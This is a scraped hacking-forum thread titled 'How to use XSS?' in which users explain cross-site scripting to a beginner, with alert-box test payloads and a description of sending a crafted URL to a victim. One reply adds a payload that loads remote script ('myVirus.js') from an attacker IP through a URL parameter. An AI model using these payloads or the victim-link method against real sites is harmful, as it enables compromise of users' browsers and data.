+- 0Day Forums (https://0day.red)
+-- Forum: Hacking & Exploits (https://0day.red/Forum-Hacking-Exploits)
+--- Forum: Website Hacking (https://0day.red/Forum-Website-Hacking)
+--- Thread: How to use XSS? (/Thread-How-to-use-XSS)
How to use XSS? - edana319 - 02-21-2021
Hello,
I found a list of XSS attacks like below:
Hidden Content
If my target is "https://www.example.com" then I should use something like "https://www.example.com/<script>alert(123);</script>"?
Thank you.
RE: How to use XSS? - armful663742 - 02-21-2021
as if the list repeats the same
RE: How to use XSS? - Crissie437806 - 02-21-2021
Quote:(02-21-2021, 08:53 PM)SCARIO Wrote:Is "https://www.example.com/<script>alert(123);</script>" OK?[To see links please register here]
as if the list repeats the same
RE: How to use XSS? - jonizq - 02-27-2021
Moved from the Hacking Tools forum to Website & Server Hacking.
RE: How to use XSS? - shorttempered128 - 02-27-2021
Search in Github
Seclist
a lot of payloads!
RE: How to use XSS? - hacek788373 - 02-27-2021
All those are, are
[To see links please register here]
that could be used on any typical webpage. Where you would use them, would differ based on the site and vulnerability.RE: How to use XSS? - Mrcommix4 - 05-23-2021
What's going on in all of those scripts is making a little alert box pop up saying "123", "XSS" etc. there is no actual exploit there. Those are useful however for when you do find an actual XSS vulnerability, to test if the page actually is vulnerable.
If you want to do any XSS exploitation, you need to learn Javascript. In your browser, right click on something in this page then click "Inspect Element". You should now have a little section in the bottom or side of your browser with the HTML of this webpage. Now select "Console" tab in the section where the code is. Now type in:
Hidden Content
And press enter. You should see a little box pop up saying "Hello, World!". Writing JS into the console will only affect your own browser, so is of no use for XSS, but I just thought you should see JS in action before learning about XSS.
Cross Site Scripting (XSS) is when you are able to inject javascript into the webpage, usually through some user input field which can also be set in a GET request in the URL. So if there was a website which sends your input through a GET request which was also vulnerable to XSS like a search box or something, you would put your malicious script in the search box (with "<script>" tags), and then the script would be a part of the HTML and would execute when loaded in your browser. So if the GET request was in the URL, you could copy the URL and send it to a victim and the script would run in their browser.
RE: How to use XSS? - tolpatchery286263 - 03-22-2022
Quote:(05-23-2021, 01:55 PM)DedSpace Wrote:[To see links please register here]
What's going on in all of those scripts is making a little alert box pop up saying "123", "XSS" etc. there is no actual exploit there. Those are useful however for when you do find an actual XSS vulnerability, to test if the page actually is vulnerable.
If you want to do any XSS exploitation, you need to learn Javascript. In your browser, right click on something in this page then click "Inspect Element". You should now have a little section in the bottom or side of your browser with the HTML of this webpage. Now select "Console" tab in the section where the code is. Now type in:
Hidden Content
And press enter. You should see a little box pop up saying "Hello, World!". Writing JS into the console will only affect your own browser, so is of no use for XSS, but I just thought you should see JS in action before learning about XSS.
Cross Site Scripting (XSS) is when you are able to inject javascript into the webpage, usually through some user input field which can also be set in a GET request in the URL. So if there was a website which sends your input through a GET request which was also vulnerable to XSS like a search box or something, you would put your malicious script in the search box (with "<script>" tags), and then the script would be a part of the HTML and would execute when loaded in your browser. So if the GET request was in the URL, you could copy the URL and send it to a victim and the script would run in their browser.
/id?=12"><script src="http://10.10.10.8/myVirus.js" />
RE: How to use XSS? - johnathanhtqqmwpmh - 04-02-2022
This are just payloads. In order to execute them u need to find vulnerable parameter. for eg. [url="https://example.com/search?q=<script]alert(1)[/url]" target="_blank" rel="noopener" class="mycode_url">https://example.com/search?q=<script>ale.../script>